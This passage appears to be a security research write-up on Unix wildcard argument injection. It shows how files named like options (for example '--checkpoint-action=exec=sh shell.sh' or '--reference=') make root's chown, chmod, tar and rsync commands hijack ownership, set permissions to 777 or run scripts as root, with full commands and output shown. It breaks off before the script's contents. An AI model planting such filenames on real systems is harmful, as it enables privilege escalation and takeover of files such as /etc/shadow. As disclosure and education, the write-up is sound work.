* An asterisk matches any number of characters in a filename, including none.
? The question mark matches any single character.
[] Brackets enclose a set of characters, any one of which may match a single character at that position.
- A hyphen used within [ ] denotes a range of characters.
~ A tilde at the beginning of a word expands to the name of your home directory. If you append another user's login name to the character, it refers to that user's home directory.
Chown
Let's say that we have some publicly writable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to 'nobody'. Pay attention to the file owners in the following files list.
[root@defensecode public]# ls -altotal52drwxrwxrwx.2useruser4096Oct2817:47.drwx------.22useruser4096Oct2817:34..-rw-rw-r--.1useruser66Oct2817:36admin.php-rw-rw-r--.1useruser34Oct2817:35ado.php-rw-rw-r--.1useruser80Oct2817:44config.php-rw-rw-r--.1useruser187Oct2817:44db.php-rw-rw-r--.1useruser201Oct2817:35download.php-rw-r--r--.1leonleon0Oct2817:40.drf.php-rw-rw-r--.1useruser43Oct2817:35file1.php-rw-rw-r--.1useruser56Oct2817:47footer.php-rw-rw-r--.1useruser357Oct2817:36global.php-rw-rw-r--.1useruser225Oct2817:35header.php-rw-rw-r--.1useruser117Oct2817:35inc.php-rw-rw-r--.1useruser111Oct2817:38index.php-rw-rw-r--.1leonleon0Oct2817:45--reference=.drf.php-rw-rw----.1useruser66Oct2817:35password.inc.php-rw-rw-r--.1useruser94Oct2817:35script.php
Files in this public directory are mostly owned by the user named 'user', and root user will now change that to 'nobody'.
[root@defensecode public]# ls -altotal52drwxrwxrwx.2useruser4096Oct2817:47.drwx------.22useruser4096Oct2817:34..-rw-rw-r--.1leonleon66Oct2817:36admin.php-rw-rw-r--.1leonleon34Oct2817:35ado.php-rw-rw-r--.1leonleon80Oct2817:44config.php-rw-rw-r--.1leonleon187Oct2817:44db.php-rw-rw-r--.1leonleon201Oct2817:35download.php-rw-r--r--.1leonleon0Oct2817:40.drf.php-rw-rw-r--.1leonleon43Oct2817:35file1.php-rw-rw-r--.1leonleon56Oct2817:47footer.php-rw-rw-r--.1leonleon357Oct2817:36global.php-rw-rw-r--.1leonleon225Oct2817:35header.php-rw-rw-r--.1leonleon117Oct2817:35inc.php-rw-rw-r--.1leonleon111Oct2817:38index.php-rw-rw-r--.1leonleon0Oct2817:45--reference=.drf.php-rw-rw----.1leonleon66Oct2817:35password.inc.php-rw-rw-r--.1leonleon94Oct2817:35script.php
If we take closer look, this directory previously contained just the following two files created and owned by the user 'leon'.
Thing is that wildcard character used in 'chown' command line took arbitrary '--reference=.drf.php' file and passed it to the chown command at the command line as an option.
# Let's check chown manual page (man chown): --reference=RFILEuseRFILE's owner and group rather than specifying OWNER:GROUP values
So in this case, '--reference' option to 'chown' will override 'nobody:nobody' specified as the root, and new owner of files in this directory will be exactly same as the owner of '.drf.php', which is in this case user 'leon'.
To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the --reference option, file that's owned by some other user, not 'leon', in that case he would become owner of all files in this directory.
With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically "hijack" files that are of interest to us.
Even more, if user 'leon' previously created a symbolic link in that directory that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed to the user 'leon'.
Chmod
Chmod also has --reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard.
[root@defensecode public]# ls -altotal68drwxrwxrwx.2useruser4096Oct2900:41.drwx------.24useruser4096Oct2818:32..-rw-rw-r--.1useruser20480Oct2819:13admin.php-rw-rw-r--.1useruser34Oct2817:47ado.php-rw-rw-r--.1useruser187Oct2817:44db.php-rw-rw-r--.1useruser201Oct2817:43download.php-rwxrwxrwx.1leonleon0Oct2900:40.drf.php-rw-rw-r--.1useruser43Oct2817:35file1.php-rw-rw-r--.1useruser56Oct2817:47footer.php-rw-rw-r--.1useruser357Oct2817:36global.php-rw-rw-r--.1useruser225Oct2817:37header.php-rw-rw-r--.1useruser117Oct2817:36inc.php-rw-rw-r--.1useruser111Oct2817:38index.php-rw-r--r--.1leonleon0Oct2900:41--reference=.drf.php-rw-rw-r--.1useruser94Oct2817:38script.php
Superuser will now try to set mode 000 on all files.
[root@defensecode public]# chmod 000 *
Let's check permissions on files...
[root@defensecode public]# ls -altotal68drwxrwxrwx.2useruser4096Oct2900:41.drwx------.24useruser4096Oct2818:32..-rwxrwxrwx.1useruser20480Oct2819:13admin.php-rwxrwxrwx.1useruser34Oct2817:47ado.php-rwxrwxrwx.1useruser187Oct2817:44db.php-rwxrwxrwx.1useruser201Oct2817:43download.php-rwxrwxrwx.1leonleon0Oct2900:40.drf.php-rwxrwxrwx.1useruser43Oct2817:35file1.php-rwxrwxrwx.1useruser56Oct2817:47footer.php-rwxrwxrwx.1useruser357Oct2817:36global.php-rwxrwxrwx.1useruser225Oct2817:37header.php-rwxrwxrwx.1useruser117Oct2817:36inc.php-rwxrwxrwx.1useruser111Oct2817:38index.php-rw-r--r--.1leonleon0Oct2900:41--reference=.drf.php-rwxrwxrwx.1useruser94Oct2817:38script.php
What happened? Instead of 000, all files are now set to mode 777 because of the '--reference' option supplied through file name.. Once again, file .drf.php owned by user 'leon' with mode 777 was used as reference file and since --reference option is supplied, all files will be set to mode 777.
Beside just --reference option, the attacker can also create another file with '-R' filename, to change file permissions on files in all sub-directories recursively.
Tar
Previous example is nice example of file ownership hijacking. Now, let's go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is:
[root@defensecode public]# tar cvvf archive.tar *
So, what's the problem with 'tar'? Thing is that tar has many options, and among them, there some pretty interesting options from arbitrary parameter injection point of view.
There is '--checkpoint-action' option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution.
Check the following directory:
[root@defensecode public]# ls -altotal72drwxrwxrwx.2useruser4096Oct2819:34.drwx------.24useruser4096Oct2818:32..-rw-rw-r--.1useruser20480Oct2819:13admin.php-rw-rw-r--.1useruser34Oct2817:47ado.php-rw-r--r--.1leonleon0Oct2819:19--checkpoint=1-rw-r--r--.1leonleon0Oct2819:17--checkpoint-action=exec=shshell.sh-rw-rw-r--.1useruser187Oct2817:44db.php-rw-rw-r--.1useruser201Oct2817:43download.php-rw-rw-r--.1useruser43Oct2817:35file1.php-rw-rw-r--.1useruser56Oct2817:47footer.php-rw-rw-r--.1useruser357Oct2817:36global.php-rw-rw-r--.1useruser225Oct2817:37header.php-rw-rw-r--.1useruser117Oct2817:36inc.php-rw-rw-r--.1useruser111Oct2817:38index.php-rw-rw-r--.1useruser94Oct2817:38script.php-rwxr-xr-x.1leonleon12Oct2819:17shell.sh
Now, for example, root user wants to create archive of all files in current directory.
Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges. Once again, there are few files created by user 'leon'.
Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the 'tar' program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution.
So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the 'root' account above.
Rsync
Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very common on Unix systems. If we check 'rsync' manual page, we can again find options that can be abused for arbitrary command execution.
Rsync manual: "You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote."
# Interesting rsync option from manual:-e,--rsh=COMMANDspecifytheremoteshelltouse --rsync-path=PROGRAMspecifythersynctorunonremotemachine
Let's abuse one example directly from the 'rsync' manual page. Following example will copy all C files in local directory to a remote host 'foo' in '/src' directory.
# rsync -t *.c foo:src/
# Directory content:[root@defensecode public]# ls -altotal72drwxrwxrwx.2useruser4096Mar2804:47.drwx------.24useruser4096Oct2818:32..-rwxr-xr-x.1useruser20480Oct2819:13admin.php-rwxr-xr-x.1useruser34Oct2817:47ado.php-rwxr-xr-x.1useruser187Oct2817:44db.php-rwxr-xr-x.1useruser201Oct2817:43download.php-rw-r--r--.1leonleon0Mar2804:45-eshshell.c-rwxr-xr-x.1useruser43Oct2817:35file1.php-rwxr-xr-x.1useruser56Oct2817:47footer.php-rwxr-xr-x.1useruser357Oct2817:36global.php-rwxr-xr-x.1useruser225Oct2817:37header.php-rwxr-xr-x.1useruser117Oct2817:36inc.php-rwxr-xr-x.1useruser111Oct2817:38index.php-rwxr-xr-x.1useruser94Oct2817:38script.php-rwxr-xr-x.1leonleon31Mar2804:45shell.c
Now root will try to copy all C files to the remote server.
[root@defensecode public]# ls -altotal76drwxrwxrwx.2useruser4096Mar2804:49.drwx------.24useruser4096Oct2818:32..-rwxr-xr-x.1useruser20480Oct2819:13admin.php-rwxr-xr-x.1useruser34Oct2817:47ado.php-rwxr-xr-x.1useruser187Oct2817:44db.php-rwxr-xr-x.1useruser201Oct2817:43download.php-rw-r--r--.1leonleon0Mar2804:45-eshshell.c-rwxr-xr-x.1useruser43Oct2817:35file1.php-rwxr-xr-x.1useruser56Oct2817:47footer.php-rwxr-xr-x.1useruser357Oct2817:36global.php-rwxr-xr-x.1useruser225Oct2817:37header.php-rwxr-xr-x.1useruser117Oct2817:36inc.php-rwxr-xr-x.1useruser111Oct2817:38index.php-rwxr-xr-x.1useruser94Oct2817:38script.php-rwxr-xr-x.1leonleon31Mar2804:45shell.c-rw-r--r--.1rootroot101Mar2804:49shell_output.txt# There were two files owned by user 'leon', as listed below.-rw-r--r--.1leonleon0Mar2804:45-eshshell.c-rwxr-xr-x.1leonleon31Mar2804:45shell.c# After 'rsync' execution, new file shell_output.txt whose owner is root is created in same directory. -rw-r--r--.1rootroot101Mar2804:49shell_output.txt# If we check its content, following data is found.[root@defensecode public]# cat shell_output.txtuid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option on command line, and shell.c will be executed upon 'rsync' start. Content of shell.c is presented below.